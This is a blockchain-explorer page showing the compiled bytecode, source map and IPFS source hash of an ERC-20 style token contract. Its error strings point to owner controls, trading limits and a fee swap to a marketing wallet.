0x6080604052600436106101fd5760003560e01c8063735de9f71161010d57806396ce0795116100a0578063c5b0da231161006f578063c5b0da23146105c6578063c9567bf9146105e6578063dd62ed3e146105fb578063f2fde38b14610641578063f8b45b051461066157600080fd5b806396ce07951461054057806399b102b514610556578063a457c2d714610586578063a9059cbb146105a657600080fd5b8063877e19ee116100dc578063877e19ee146104d45780638da5cb5b146104ee578063958f97351461050c57806395d89b411461052b57600080fd5b8063735de9f714610462578063751039fc1461048957806375f0a8741461049e5780637e150d66146104be57600080fd5b80632d461391116101905780634e74d5b01161015f5780634e74d5b0146103955780635342acb4146103b55780636dd3d39f146103e557806370a0823114610415578063715018a61461044b57600080fd5b80632d46139114610327578063313ce5671461033d578063395093511461035f57806348cd4cb11461037f57600080fd5b806323b872dd116101cc57806323b872dd1461029957806325fa0b98146102b957806328ac2d53146102d95780632ce9a4ac1461031157600080fd5b80630445b6671461020957806306fdde0314610232578063095ea7b31461025457806318160ddd1461028457600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021f60075481565b6040519081526020015b60405180910390f35b34801561023e57600080fd5b50610247610677565b60405161022991906113ba565b34801561026057600080fd5b5061027461026f366004611420565b610709565b6040519015158152602001610229565b34801561029057600080fd5b5060045461021f565b3480156102a557600080fd5b506102746102b436600461144c565b610720565b3480156102c557600080fd5b50600f546102749062010000900460ff1681565b3480156102e557600080fd5b506010546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b34801561031d57600080fd5b5061021f60135481565b34801561033357600080fd5b5061021f60125481565b34801561034957600080fd5b5060035460405160ff9091168152602001610229565b34801561036b57600080fd5b5061027461037a366004611420565b610772565b34801561038b57600080fd5b5061021f600b5481565b3480156103a157600080fd5b5061021f6103b036600461148d565b6107a9565b3480156103c157600080fd5b506102746103d03660046114a6565b600c6020526000908152604090205460ff1681565b3480156103f157600080fd5b506102746104003660046114a6565b600e6020526000908152604090205460ff1681565b34801561042157600080fd5b5061021f6104303660046114a6565b6001600160a01b031660009081526005602052604090205490565b34801561045757600080fd5b506104606107ce565b005b34801561046e57600080fd5b50600f546102f990630100000090046001600160a01b031681565b34801561049557600080fd5b5061046061084b565b3480156104aa57600080fd5b506011546102f9906001600160a01b031681565b3480156104ca57600080fd5b5061021f60095481565b3480156104e057600080fd5b50600f546102749060ff1681565b3480156104fa57600080fd5b506000546001600160a01b03166102f9565b34801561051857600080fd5b50600f5461027490610100900460ff1681565b34801561053757600080fd5b5061024761088c565b34801561054c57600080fd5b5061021f600a5481565b34801561056257600080fd5b506102746105713660046114a6565b600d6020526000908152604090205460ff1681565b34801561059257600080fd5b506102746105a1366004611420565b61089b565b3480156105b257600080fd5b506102746105c1366004611420565b6108d2565b3480156105d257600080fd5b5061021f6105e136600461148d565b6108df565b3480156105f257600080fd5b506104606108f3565b34801561060757600080fd5b5061021f6106163660046114c3565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561064d57600080fd5b5061046061065c3660046114a6565b61097f565b34801561066d57600080fd5b5061021f60085481565b606060018054610686906114fc565b80601f01602080910402602001604051908101604052809291908181526020018280546106b2906114fc565b80156106ff5780601f106106d4576101008083540402835291602001916106ff565b820191906000526020600020905b8154815290600101906020018083116106e257829003601f168201915b5050505050905090565b6000610716338484610a69565b5060015b92915050565b600061072d848484610b76565b6001600160a01b03841660009081526006602090815260408083203380855292529091205461076891869161076390869061154c565b610a69565b5060019392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161071691859061076390869061155f565b600080600a54601254846107bd9190611572565b6107c79190611589565b9392505050565b6000546001600160a01b031633146108015760405162461bcd60e51b81526004016107f8906115ab565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108755760405162461bcd60e51b81526004016107f8906115ab565b600a60128190556013556004546008819055600955565b606060028054610686906114fc565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161071691859061076390869061154c565b6000610716338484610b76565b600080600a54601354846107bd9190611572565b6000546001600160a01b0316331461091d5760405162461bcd60e51b81526004016107f8906115ab565b600f5462010000900460ff16156109685760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b60448201526064016107f8565b600f805462ffffff19166201010117905542600b55565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016107f8906115ab565b6001600160a01b038116610a0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610abf5760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f2061646472657373000060448201526064016107f8565b6001600160a01b038216610b155760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f2061646472657373000000000060448201526064016107f8565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcc5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f2061646472657373000060448201526064016107f8565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f20616464726573730000000060448201526064016107f8565b60008111610c725760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f60448201526064016107f8565b6001600160a01b0383166000908152600d602052604090205460ff16158015610cb457506001600160a01b0382166000908152600d602052604090205460ff16155b15610d9357600954811115610d0b5760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d69740000000060448201526064016107f8565b600f5462010000900460ff16610d93576010546001600160a01b03848116911614801590610d4757506010546001600160a01b03838116911614155b610d935760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c656400000000000060448201526064016107f8565b6001600160a01b0382166000908152600e602052604090205460ff16610e2e5760085481610dd6846001600160a01b031660009081526005602052604090205490565b610de0919061155f565b1115610e2e5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d69740060448201526064016107f8565b6001600160a01b0383166000908152600c602052604090205460019060ff1680610e7057506001600160a01b0383166000908152600c602052604090205460ff165b80610e835750600f54610100900460ff16155b15610e8c575060005b610e9884848484610e9e565b50505050565b6010546001600160a01b038581169116148015610eb85750805b15610f9957600080610ec9846107a9565b9150610ed5828561154c565b6001600160a01b038716600090815260056020526040902054909150610efc90859061154c565b6001600160a01b038088166000908152600560205260408082209390935590871681522054610f2c90829061155f565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f809085815260200190565b60405180910390a3610f9286836110ef565b5050610e98565b6010546001600160a01b038481169116148015610fb35750805b15610fe557600754821115610fcc57610fcc8484611167565b6000610fd7836108df565b90506000610ed5828561154c565b600080610ff2818561154c565b6001600160a01b0387166000908152600c602052604090205490915060ff1680156110255750600f5462010000900460ff165b1561103757611034818561154c565b93505b6001600160a01b03861660009081526005602052604090205461105b90859061154c565b6001600160a01b03808816600090815260056020526040808220939093559087168152205461108b90829061155f565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110df9088815260200190565b60405180910390a3505050505050565b3060009081526005602052604090205461110a90829061155f565b30600081815260056020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061115b9085815260200190565b60405180910390a35050565b306000908152600560205260409020546007548110801590819061119957506010546001600160a01b03858116911614155b80156111a75750600f5460ff165b80156111d557506001600160a01b038416301480156111d357506010546001600160a01b038481169116145b155b15610e98576111fc30600f60039054906101000a90046001600160a01b0316600754610a69565b600f5460075461121c91630100000090046001600160a01b031690611266565b47801561125f576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561125d573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061129f5761129f6115e0565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132191906115f6565b81600181518110611334576113346115e0565b6001600160a01b039283166020918202929092010152821663791ac94784600084306113624261012c61155f565b6040518663ffffffff1660e01b8152600401611382959493929190611613565b600060405180830381600087803b15801561139c57600080fd5b505af11580156113b0573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156113e7578581018301518582016040015282016113cb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141d57600080fd5b50565b6000806040838503121561143357600080fd5b823561143e81611408565b946020939093013593505050565b60008060006060848603121561146157600080fd5b833561146c81611408565b9250602084013561147c81611408565b929592945050506040919091013590565b60006020828403121561149f57600080fd5b5035919050565b6000602082840312156114b857600080fd5b81356107c781611408565b600080604083850312156114d657600080fd5b82356114e181611408565b915060208301356114f181611408565b809150509250929050565b600181811c9082168061151057607f821691505b60208210810361153057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561071a5761071a611536565b8082018082111561071a5761071a611536565b808202811582820484141761071a5761071a611536565b6000826115a657634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561160857600080fd5b81516107c781611408565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116635784516001600160a01b03168352938301939183019160010161163e565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122050e25db37b7e79ab1482620f9f8bc74b7eafb6cdcc3740857cd58a7afb85bbfb64736f6c63430008130033

Deployed Bytecode Sourcemap

3167:9257:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3527:59;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;3527:59:0;;;;;;;;5717:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7244:186::-;;;;;;;;;;-1:-1:-1;7244:186:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7244:186:0;1205:187:1;5994:100:0;;;;;;;;;;-1:-1:-1;6074:12:0;;5994:100;;6102:350;;;;;;;;;;-1:-1:-1;6102:350:0;;;;;:::i;:::-;;:::i;4057:29::-;;;;;;;;;;-1:-1:-1;4057:29:0;;;;;;;;;;;4137:25;;;;;;;;;;-1:-1:-1;4137:25:0;;;;-1:-1:-1;;;;;4137:25:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;4137:25:0;1858:203:1;4354:33:0;;;;;;;;;;;;;;;;4313:32;;;;;;;;;;;;;;;;5903:83;;;;;;;;;;-1:-1:-1;5969:9:0;;5903:83;;5969:9;;;;2208:36:1;;2196:2;2181:18;5903:83:0;2066:184:1;6460:292:0;;;;;;;;;;-1:-1:-1;6460:292:0;;;;;:::i;:::-;;:::i;3756:25::-;;;;;;;;;;;;;;;;8063:159;;;;;;;;;;-1:-1:-1;8063:159:0;;;;;:::i;:::-;;:::i;3790:49::-;;;;;;;;;;-1:-1:-1;3790:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3905:55;;;;;;;;;;-1:-1:-1;3905:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9799:119;;;;;;;;;;-1:-1:-1;9799:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;9892:18:0;9865:7;9892:18;;;:9;:18;;;;;;;9799:119;2023:157;;;;;;;;;;;;;:::i;:::-;;4096:31;;;;;;;;;;-1:-1:-1;4096:31:0;;;;;;;-1:-1:-1;;;;;4096:31:0;;;7638:176;;;;;;;;;;;;;:::i;4170:30::-;;;;;;;;;;-1:-1:-1;4170:30:0;;;;-1:-1:-1;;;;;4170:30:0;;;3655:53;;;;;;;;;;;;;;;;3969:43;;;;;;;;;;-1:-1:-1;3969:43:0;;;;;;;;1809:79;;;;;;;;;;-1:-1:-1;1847:7:0;1874:6;-1:-1:-1;;;;;1874:6:0;1809:79;;4020:29;;;;;;;;;;-1:-1:-1;4020:29:0;;;;;;;;;;;5808:87;;;;;;;;;;;;;:::i;3716:33::-;;;;;;;;;;;;;;;;3846:52;;;;;;;;;;-1:-1:-1;3846:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6760:300;;;;;;;;;;-1:-1:-1;6760:300:0;;;;;:::i;:::-;;:::i;7438:192::-;;;;;;;;;;-1:-1:-1;7438:192:0;;;;;:::i;:::-;;:::i;8230:161::-;;;;;;;;;;-1:-1:-1;8230:161:0;;;;;:::i;:::-;;:::i;7822:233::-;;;;;;;;;;;;;:::i;7068:168::-;;;;;;;;;;-1:-1:-1;7068:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7201:18:0;;;7174:7;7201:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7068:168;2188:281;;;;;;;;;;-1:-1:-1;2188:281:0;;;;;:::i;:::-;;:::i;3594:53::-;;;;;;;;;;;;;;;;5717:83;5754:13;5787:5;5780:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5717:83;:::o;7244:186::-;7344:4;7361:39;520:10;7384:7;7393:6;7361:8;:39::i;:::-;-1:-1:-1;7418:4:0;7244:186;;;;;:::o;6102:350::-;6234:4;6251:36;6261:6;6269:9;6280:6;6251:9;:36::i;:::-;-1:-1:-1;;;;;6369:19:0;;;;;;:11;:19;;;;;;;;520:10;6369:33;;;;;;;;;6298:124;;6321:6;;6369:42;;6405:6;;6369:42;:::i;:::-;6298:8;:124::i;:::-;-1:-1:-1;6440:4:0;6102:350;;;;;:::o;6460:292::-;520:10;6573:4;6662:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6662:34:0;;;;;;;;;;6573:4;;6590:132;;6640:7;;6662:49;;6700:10;;6662:49;:::i;8063:159::-;8121:7;8141:11;8181;;8165;;8156:6;:20;;;;:::i;:::-;8155:38;;;;:::i;:::-;8141:52;8063:159;-1:-1:-1;;;8063:159:0:o;2023:157::-;1936:6;;-1:-1:-1;;;;;1936:6:0;520:10;1936:22;1928:67;;;;-1:-1:-1;;;1928:67:0;;;;;;;:::i;:::-;;;;;;;;;2130:1:::1;2114:6:::0;;2093:40:::1;::::0;-1:-1:-1;;;;;2114:6:0;;::::1;::::0;2093:40:::1;::::0;2130:1;;2093:40:::1;2169:1;2144:28:::0;;-1:-1:-1;;;;;;2144:28:0::1;::::0;;2023:157::o;7638:176::-;1936:6;;-1:-1:-1;;;;;1936:6:0;520:10;1936:22;1928:67;;;;-1:-1:-1;;;1928:67:0;;;;;;;:::i;:::-;7706:2:::1;7692:11;:16:::0;;;7719:12:::1;:17:::0;7759:12:::1;::::0;7747:9:::1;:24:::0;;;7782:9:::1;:24:::0;7638:176::o;5808:87::-;5847:13;5880:7;5873:14;;;;;:::i;6760:300::-;520:10;6878:4;6967:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6967:34:0;;;;;;;;;;6878:4;;6895:135;;6945:7;;6967:52;;7004:15;;6967:52;:::i;7438:192::-;7541:4;7558:42;520:10;7582:9;7593:6;7558:9;:42::i;8230:161::-;8289:7;8309:11;8350;;8333:12;;8324:6;:21;;;;:::i;7822:233::-;1936:6;;-1:-1:-1;;;;;1936:6:0;520:10;1936:22;1928:67;;;;-1:-1:-1;;;1928:67:0;;;;;;;:::i;:::-;7884:9:::1;::::0;;;::::1;;;7883:10;7875:38;;;::::0;-1:-1:-1;;;7875:38:0;;5049:2:1;7875:38:0::1;::::0;::::1;5031:21:1::0;5088:2;5068:18;;;5061:30;-1:-1:-1;;;5107:18:1;;;5100:45;5162:18;;7875:38:0::1;4847:339:1::0;7875:38:0::1;7924:9;:16:::0;;-1:-1:-1;;7978:30:0;;;;;8032:15:::1;8019:10;:28:::0;7822:233::o;2188:281::-;1936:6;;-1:-1:-1;;;;;1936:6:0;520:10;1936:22;1928:67;;;;-1:-1:-1;;;1928:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2291:22:0;::::1;2269:110;;;::::0;-1:-1:-1;;;2269:110:0;;5393:2:1;2269:110:0::1;::::0;::::1;5375:21:1::0;5432:2;5412:18;;;5405:30;5471:34;5451:18;;;5444:62;-1:-1:-1;;;5522:18:1;;;5515:36;5568:19;;2269:110:0::1;5191:402:1::0;2269:110:0::1;2416:6;::::0;;2395:38:::1;::::0;-1:-1:-1;;;;;2395:38:0;;::::1;::::0;2416:6;::::1;::::0;2395:38:::1;::::0;::::1;2444:6;:17:::0;;-1:-1:-1;;;;;;2444:17:0::1;-1:-1:-1::0;;;;;2444:17:0;;;::::1;::::0;;;::::1;::::0;;2188:281::o;8403:324::-;-1:-1:-1;;;;;8496:19:0;;8488:62;;;;-1:-1:-1;;;8488:62:0;;5800:2:1;8488:62:0;;;5782:21:1;5839:2;5819:18;;;5812:30;5878:32;5858:18;;;5851:60;5928:18;;8488:62:0;5598:354:1;8488:62:0;-1:-1:-1;;;;;8569:21:0;;8561:61;;;;-1:-1:-1;;;8561:61:0;;6159:2:1;8561:61:0;;;6141:21:1;6198:2;6178:18;;;6171:30;6237:29;6217:18;;;6210:57;6284:18;;8561:61:0;5957:351:1;8561:61:0;-1:-1:-1;;;;;8635:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8687:32;;160:25:1;;;8687:32:0;;133:18:1;8687:32:0;;;;;;;8403:324;;;:::o;8735:1052::-;-1:-1:-1;;;;;8823:18:0;;8815:61;;;;-1:-1:-1;;;8815:61:0;;6515:2:1;8815:61:0;;;6497:21:1;6554:2;6534:18;;;6527:30;6593:32;6573:18;;;6566:60;6643:18;;8815:61:0;6313:354:1;8815:61:0;-1:-1:-1;;;;;8895:16:0;;8887:57;;;;-1:-1:-1;;;8887:57:0;;6874:2:1;8887:57:0;;;6856:21:1;6913:2;6893:18;;;6886:30;6952;6932:18;;;6925:58;7000:18;;8887:57:0;6672:352:1;8887:57:0;8972:1;8963:6;:10;8955:55;;;;-1:-1:-1;;;8955:55:0;;7231:2:1;8955:55:0;;;7213:21:1;;;7250:18;;;7243:30;7309:34;7289:18;;;7282:62;7361:18;;8955:55:0;7029:356:1;8955:55:0;-1:-1:-1;;;;;9026:26:0;;;;;;:20;:26;;;;;;;;9025:27;:56;;;;-1:-1:-1;;;;;;9057:24:0;;;;;;:20;:24;;;;;;;;9056:25;9025:56;9021:354;;;9116:9;;9106:6;:19;;9098:60;;;;-1:-1:-1;;;9098:60:0;;7592:2:1;9098:60:0;;;7574:21:1;7631:2;7611:18;;;7604:30;7670;7650:18;;;7643:58;7718:18;;9098:60:0;7390:352:1;9098:60:0;9180:9;;;;;;;9175:189;;9240:10;;-1:-1:-1;;;;;9240:18:0;;;:10;;:18;;;;:38;;-1:-1:-1;9262:10:0;;-1:-1:-1;;;;;9262:16:0;;;:10;;:16;;9240:38;9210:138;;;;-1:-1:-1;;;9210:138:0;;7949:2:1;9210:138:0;;;7931:21:1;7988:2;7968:18;;;7961:30;8027:28;8007:18;;;8000:56;8073:18;;9210:138:0;7747:350:1;9210:138:0;-1:-1:-1;;;;;9392:27:0;;;;;;:23;:27;;;;;;;;9387:191;;9490:9;;9479:6;9463:13;9473:2;-1:-1:-1;;;;;9892:18:0;9865:7;9892:18;;;:9;:18;;;;;;;9799:119;9463:13;:22;;;;:::i;:::-;9462:37;;9436:130;;;;-1:-1:-1;;;9436:130:0;;8304:2:1;9436:130:0;;;8286:21:1;8343:2;8323:18;;;8316:30;8382:33;8362:18;;;8355:61;8433:18;;9436:130:0;8102:355:1;9436:130:0;-1:-1:-1;;;;;9622:23:0;;9588:12;9622:23;;;:17;:23;;;;;;9603:4;;9622:23;;;:48;;-1:-1:-1;;;;;;9649:21:0;;;;;;:17;:21;;;;;;;;9622:48;:62;;;-1:-1:-1;9675:9:0;;;;;;;9674:10;9622:62;9618:110;;;-1:-1:-1;9711:5:0;9618:110;9738:41;9753:4;9759:2;9763:6;9771:7;9738:14;:41::i;:::-;8804:983;8735:1052;;;:::o;9926:1550::-;10081:10;;-1:-1:-1;;;;;10081:20:0;;;:10;;:20;:31;;;;;10105:7;10081:31;10077:1392;;;10129:14;10158:23;10205:19;10217:6;10205:11;:19::i;:::-;10196:28;-1:-1:-1;10257:15:0;10196:28;10257:6;:15;:::i;:::-;-1:-1:-1;;;;;10309:17:0;;;;;;:9;:17;;;;;;10239:33;;-1:-1:-1;10309:26:0;;10329:6;;10309:26;:::i;:::-;-1:-1:-1;;;;;10289:17:0;;;;;;;:9;:17;;;;;;:46;;;;10373:20;;;;;;;:38;;10396:15;;10373:38;:::i;:::-;-1:-1:-1;;;;;10350:20:0;;;;;;;:9;:20;;;;;;;:61;;;;10431:44;;;;;;;;;;10459:15;160:25:1;;148:2;133:18;;14:177;10431:44:0;;;;;;;;10492:28;10505:6;10513;10492:12;:28::i;:::-;10114:418;;10077:1392;;;10542:10;;-1:-1:-1;;;;;10542:23:0;;;:10;;:23;:34;;;;;10569:7;10542:34;10538:931;;;10606:13;;10597:6;:22;10593:97;;;10640:34;10656:6;10664:9;10640:15;:34::i;:::-;10704:14;10721:20;10734:6;10721:12;:20::i;:::-;10704:37;-1:-1:-1;10756:23:0;10782:15;10704:37;10782:6;:15;:::i;10538:931::-;11076:14;;11165:15;11076:14;11165:6;:15;:::i;:::-;-1:-1:-1;;;;;11199:25:0;;;;;;:17;:25;;;;;;11147:33;;-1:-1:-1;11199:25:0;;:38;;;;-1:-1:-1;11228:9:0;;;;;;;11199:38;11195:70;;;11239:26;11250:15;11239:26;;:::i;:::-;;;11195:70;-1:-1:-1;;;;;11300:17:0;;;;;;:9;:17;;;;;;:26;;11320:6;;11300:26;:::i;:::-;-1:-1:-1;;;;;11280:17:0;;;;;;;:9;:17;;;;;;:46;;;;11364:20;;;;;;;:38;;11387:15;;11364:38;:::i;:::-;-1:-1:-1;;;;;11341:20:0;;;;;;;:9;:20;;;;;;;:61;;;;11422:35;;;;;;;;;;11450:6;160:25:1;;148:2;133:18;;14:177;11422:35:0;;;;;;;;11061:408;;9926:1550;;;;:::o;11484:200::-;11602:4;11584:24;;;;:9;:24;;;;;;:35;;11612:6;;11584:35;:::i;:::-;11575:4;11557:24;;;;:9;:24;;;;;;;:62;;;;11637:39;;-1:-1:-1;;;;;11637:39:0;;;;;;;11669:6;160:25:1;;148:2;133:18;;14:177;11637:39:0;;;;;;;;11484:200;;:::o;11692:729::-;11811:4;11762:28;9892:18;;;:9;:18;;;;;;11872:13;;11848:37;;;;;;;11916:45;;-1:-1:-1;11951:10:0;;-1:-1:-1;;;;;11943:18:0;;;11951:10;;11943:18;;11916:45;:85;;;;-1:-1:-1;11978:23:0;;;;11916:85;:146;;;;-1:-1:-1;;;;;;12020:21:0;;12036:4;12020:21;:41;;;;-1:-1:-1;12051:10:0;;-1:-1:-1;;;;;12045:16:0;;;12051:10;;12045:16;12020:41;12018:44;11916:146;11898:516;;;12089:62;12106:4;12121:13;;;;;;;;;-1:-1:-1;;;;;12121:13:0;12137;;12089:8;:62::i;:::-;12201:13;;12217;;12168:63;;12201:13;;;-1:-1:-1;;;;;12201:13:0;;12168:24;:63::i;:::-;12272:21;12314:19;;12310:92;;12360:15;;12352:50;;-1:-1:-1;;;;;12360:15:0;;;;12352:50;;;;;12386:15;;12360;12352:50;12360:15;12352:50;12386:15;12360;12352:50;;;;;;;;;;;;;;;;;;;;;12310:92;12074:340;11751:670;;11692:729;;:::o;12451:504::-;12651:16;;;12665:1;12651:16;;;;;;;;12600:13;;12566:20;;12651:16;12665:1;12651:16;;;;;;;;;;-1:-1:-1;12651:16:0;12627:40;;12696:4;12678;12683:1;12678:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12678:23:0;;;-1:-1:-1;;;;;12678:23:0;;;;;12722:9;-1:-1:-1;;;;;12722:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12712:4;12717:1;12712:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12712:26:0;;;:7;;;;;;;;;:26;12751:60;;;12826:11;12852:1;12868:4;12895;12915:21;:15;12933:3;12915:21;:::i;:::-;12751:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12555:400;;12451:504;;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:180::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;-1:-1:-1;2406:23:1;;2255:180;-1:-1:-1;2255:180:1:o;2440:247::-;2499:6;2552:2;2540:9;2531:7;2527:23;2523:32;2520:52;;;2568:1;2565;2558:12;2520:52;2607:9;2594:23;2626:31;2651:5;2626:31;:::i;2918:388::-;2986:6;2994;3047:2;3035:9;3026:7;3022:23;3018:32;3015:52;;;3063:1;3060;3053:12;3015:52;3102:9;3089:23;3121:31;3146:5;3121:31;:::i;:::-;3171:5;-1:-1:-1;3228:2:1;3213:18;;3200:32;3241:33;3200:32;3241:33;:::i;:::-;3293:7;3283:17;;;2918:388;;;;;:::o;3311:380::-;3390:1;3386:12;;;;3433;;;3454:61;;3508:4;3500:6;3496:17;3486:27;;3454:61;3561:2;3553:6;3550:14;3530:18;3527:38;3524:161;;3607:10;3602:3;3598:20;3595:1;3588:31;3642:4;3639:1;3632:15;3670:4;3667:1;3660:15;3524:161;;3311:380;;;:::o;3696:127::-;3757:10;3752:3;3748:20;3745:1;3738:31;3788:4;3785:1;3778:15;3812:4;3809:1;3802:15;3828:128;3895:9;;;3916:11;;;3913:37;;;3930:18;;:::i;3961:125::-;4026:9;;;4047:10;;;4044:36;;;4060:18;;:::i;4091:168::-;4164:9;;;4195;;4212:15;;;4206:22;;4192:37;4182:71;;4233:18;;:::i;4264:217::-;4304:1;4330;4320:132;;4374:10;4369:3;4365:20;4362:1;4355:31;4409:4;4406:1;4399:15;4437:4;4434:1;4427:15;4320:132;-1:-1:-1;4466:9:1;;4264:217::o;4486:356::-;4688:2;4670:21;;;4707:18;;;4700:30;4766:34;4761:2;4746:18;;4739:62;4833:2;4818:18;;4486:356::o;8594:127::-;8655:10;8650:3;8646:20;8643:1;8636:31;8686:4;8683:1;8676:15;8710:4;8707:1;8700:15;8726:251;8796:6;8849:2;8837:9;8828:7;8824:23;8820:32;8817:52;;;8865:1;8862;8855:12;8817:52;8897:9;8891:16;8916:31;8941:5;8916:31;:::i;8982:980::-;9244:4;9292:3;9281:9;9277:19;9323:6;9312:9;9305:25;9349:2;9387:6;9382:2;9371:9;9367:18;9360:34;9430:3;9425:2;9414:9;9410:18;9403:31;9454:6;9489;9483:13;9520:6;9512;9505:22;9558:3;9547:9;9543:19;9536:26;;9597:2;9589:6;9585:15;9571:29;;9618:1;9628:195;9642:6;9639:1;9636:13;9628:195;;;9707:13;;-1:-1:-1;;;;;9703:39:1;9691:52;;9798:15;;;;9763:12;;;;9739:1;9657:9;9628:195;;;-1:-1:-1;;;;;;;9879:32:1;;;;9874:2;9859:18;;9852:60;-1:-1:-1;;;9943:3:1;9928:19;9921:35;9840:3;8982:980;-1:-1:-1;;;8982:980:1:o

Swarm Source

ipfs://50e25db37b7e79ab1482620f9f8bc74b7eafb6cdcc3740857cd58a7afb85bbfb
Loading...
Loading
Loading...
Loading
